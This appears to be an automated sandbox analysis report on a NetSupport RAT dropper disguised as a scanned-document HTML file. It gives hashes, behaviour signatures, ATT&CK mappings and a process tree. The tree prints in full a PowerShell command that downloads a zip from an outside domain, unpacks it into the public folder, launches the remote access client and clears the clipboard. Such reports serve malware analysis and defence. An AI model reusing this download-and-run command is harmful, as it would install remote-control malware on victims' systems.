netsupport | 37961d0ca2cdbc6ad9bf89a892d230d5be6273d34accb3dac4251281ea048ed9

Analysis

max time kernel
141s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
28-05-2024 18:38

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General

Target

Scanned_05_28-2024_402430.html
Size

8KB
MD5

784b4c79a9c2a62a393bbe72714f2043
SHA1

aef37309eacd572503df355ef75ad42021fcd253
SHA256

37961d0ca2cdbc6ad9bf89a892d230d5be6273d34accb3dac4251281ea048ed9
SHA512

e269f6f767be7453e7b402de620786b6464be65bbfd3f5a8ae2fc4e8c873526bb3c9414b598245a2aae2966fcd6946b5b2f97db11acfc48c8916c370989a1024
SSDEEP

96:MhvvIFO2B40aPMfiWTMFSCH+PGy9MgC3/mGlby3Pnwp0tUNAkacVjS0uT9ji/Di5:MGZEhLqMgEOG4/nw+CWvYAZi/Di5

Score

10^/10

netsupport execution rat

Malware Config

Signatures

NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
rat netsupport

Blocklisted process makes network request 1 IoCs

flow	pid	Process
111	1388	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1388	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4532	client32.exe

Loads dropped DLL 5 IoCs

pid	Process
4532	client32.exe
4532	client32.exe
4532	client32.exe
4532	client32.exe
4532	client32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1388	powershell.exe
1388	powershell.exe
1388	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1388	powershell.exe
Token: SeSecurityPrivilege	4532	client32.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4532	client32.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4980 wrote to memory of 1388	4980	cmd.exe	112
PID 4980 wrote to memory of 1388	4980	cmd.exe	112
PID 1388 wrote to memory of 4532	1388	powershell.exe	114
PID 1388 wrote to memory of 4532	1388	powershell.exe	114
PID 1388 wrote to memory of 4532	1388	powershell.exe	114

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Local\Temp\Scanned_05_28-2024_402430.html
1⤵
PID:3372

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --no-appcompat-clear --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --mojo-platform-channel-handle=3972 --field-trial-handle=2676,i,447940133669489189,1353734109898858672,262144 --variations-seed-version /prefetch:1
1⤵
PID:3456

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --no-appcompat-clear --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --mojo-platform-channel-handle=5764 --field-trial-handle=2676,i,447940133669489189,1353734109898858672,262144 --variations-seed-version /prefetch:1
1⤵
PID:5016

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=5944 --field-trial-handle=2676,i,447940133669489189,1353734109898858672,262144 --variations-seed-version /prefetch:8
1⤵
PID:4632

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --no-appcompat-clear --disable-gpu-compositing --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=20 --mojo-platform-channel-handle=5484 --field-trial-handle=2676,i,447940133669489189,1353734109898858672,262144 --variations-seed-version /prefetch:1
1⤵
PID:4640

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --no-appcompat-clear --mojo-platform-channel-handle=4796 --field-trial-handle=2676,i,447940133669489189,1353734109898858672,262144 --variations-seed-version /prefetch:8
1⤵
PID:3512

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c start /min powershell $st='c:\\users\\public';$om=$st+'\\start.zip';$ps=$st+'\\client\\client32.exe';invoke-webrequest -uri https://cdn3535.shop/1.zip -outfile $om;expand-archive $om $st; start-process $ps;Set-Clipboard -Value ' ';exit;
1⤵
- Suspicious use of WriteProcessMemory
PID:4980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $st='c:\\users\\public';$om=$st+'\\start.zip';$ps=$st+'\\client\\client32.exe';invoke-webrequest -uri https://cdn3535.shop/1.zip -outfile $om;expand-archive $om $st; start-process $ps;Set-Clipboard -Value ' ';exit;
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1388
- - C:\users\public\client\client32.exe
    "C:\users\public\client\client32.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:4532

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_j3iv040a.enl.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Public\client\HTCTL32.DLL

Filesize
320KB

MD5
2d3b207c8a48148296156e5725426c7f

SHA1
ad464eb7cf5c19c8a443ab5b590440b32dbc618f

SHA256
edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796

SHA512
55c791705993b83c9b26a8dbd545d7e149c42ee358ecece638128ee271e85b4fdbfd6fbae61d13533bf39ae752144e2cc2c5edcda955f18c37a785084db0860c

Download Submit
C:\Users\Public\client\PCICHEK.DLL

Filesize
18KB

MD5
a0b9388c5f18e27266a31f8c5765b263

SHA1
906f7e94f841d464d4da144f7c858fa2160e36db

SHA256
313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a

SHA512
6051a0b22af135b4433474dc7c6f53fb1c06844d0a30ed596a3c6c80644df511b023e140c4878867fa2578c79695fac2eb303aea87c0ecfc15a4ad264bd0b3cd

Download Submit
C:\Users\Public\client\client32.exe

Filesize
54KB

MD5
9497aece91e1ccc495ca26ae284600b9

SHA1
a005d8ce0c1ea8901c1b4ea86c40f4925bd2c6da

SHA256
1b63f83f06dbd9125a6983a36e0dbd64026bb4f535e97c5df67c1563d91eff89

SHA512
4c892e5029a707bcf73b85ac110d8078cb273632b68637e9b296a7474ab0202320ff24cf6206de04af08abf087654b0d80cbecfae824c06616c47ce93f0929c9

Download Submit
C:\users\public\client\MSVCR100.dll

Filesize
755KB

MD5
0e37fbfa79d349d672456923ec5fbbe3

SHA1
4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

SHA256
8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

SHA512
2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

Download Submit
C:\users\public\client\NSM.LIC

Filesize
257B

MD5
6fd57fbafce2705f6dbe31df8e9c63cb

SHA1
9dbdd6322a37609780d5370a59efbef7d74d4b0d

SHA256
d7ec9f8b88ae02b6075db789ac8ac7cbb359fe54bb1a2af1669ea1c8a15fc91e

SHA512
ff96b534dac567450bd3670a4f3feaf0af94334af53ec06b66386489bce842fb4f8c41963d28b066d1624d790add8ead7e4871c3cf55d27ab943a74458cdb4cf

Download Submit
C:\users\public\client\PCICL32.dll

Filesize
3.5MB

MD5
ad51946b1659ed61b76ff4e599e36683

SHA1
dfe2439424886e8acf9fa3ffde6caaf7bfdd583e

SHA256
07a191254362664b3993479a277199f7ea5ee723b6c25803914eedb50250acf4

SHA512
6c30e7793f69508f6d9aa6edcec6930ba361628ef597e32c218e15d80586f5a86d89fcbee63a35eab7b1e0ae26277512f4c1a03df7912f9b7ff9a9a858cf3962

Download Submit
C:\users\public\client\client32.ini

Filesize
646B

MD5
1181c5070b3d5dbd82e3167e0eee7d13

SHA1
91aaf3e633d11d4dbb82e53a8fe6f7f461ff2ea6

SHA256
608e848e65d4298688ac18a939f7ac1848332ef7c39ec4e135091a2ebeb1a524

SHA512
1b0dbd30252bf924aa82777e380c2e82309ff8be6120b05916f7bb72d5270542c3bc2cee965c7c8c58196651e261788b2e29377cb5764e42d65de92015411780

Download Submit
C:\users\public\client\pcicapi.dll

Filesize
32KB

MD5
dcde2248d19c778a41aa165866dd52d0

SHA1
7ec84be84fe23f0b0093b647538737e1f19ebb03

SHA256
9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917

SHA512
c5d170d420f1aeb9bcd606a282af6e8da04ae45c83d07faaacb73ff2e27f4188b09446ce508620124f6d9b447a40a23620cfb39b79f02b04bb9e513866352166

Download Submit
memory/1388-15-0x00007FFC8A140000-0x00007FFC8AC01000-memory.dmp

Filesize
10.8MB

Download
memory/1388-21-0x000001F655A80000-0x000001F655A92000-memory.dmp

Filesize
72KB

Download
memory/1388-22-0x000001F63B980000-0x000001F63B98A000-memory.dmp

Filesize
40KB

Download
memory/1388-19-0x00007FFC8A140000-0x00007FFC8AC01000-memory.dmp

Filesize
10.8MB

Download
memory/1388-18-0x00007FFC8A140000-0x00007FFC8AC01000-memory.dmp

Filesize
10.8MB

Download
memory/1388-17-0x00007FFC8A140000-0x00007FFC8AC01000-memory.dmp

Filesize
10.8MB

Download
memory/1388-16-0x00007FFC8A143000-0x00007FFC8A145000-memory.dmp

Filesize
8KB

Download
memory/1388-2-0x00007FFC8A143000-0x00007FFC8A145000-memory.dmp

Filesize
8KB

Download
memory/1388-14-0x00007FFC8A140000-0x00007FFC8AC01000-memory.dmp

Filesize
10.8MB

Download
memory/1388-13-0x00007FFC8A140000-0x00007FFC8AC01000-memory.dmp

Filesize
10.8MB

Download
memory/1388-12-0x000001F63B9A0000-0x000001F63B9C2000-memory.dmp

Filesize
136KB

Download
memory/1388-76-0x00007FFC8A140000-0x00007FFC8AC01000-memory.dmp

Filesize
10.8MB

Download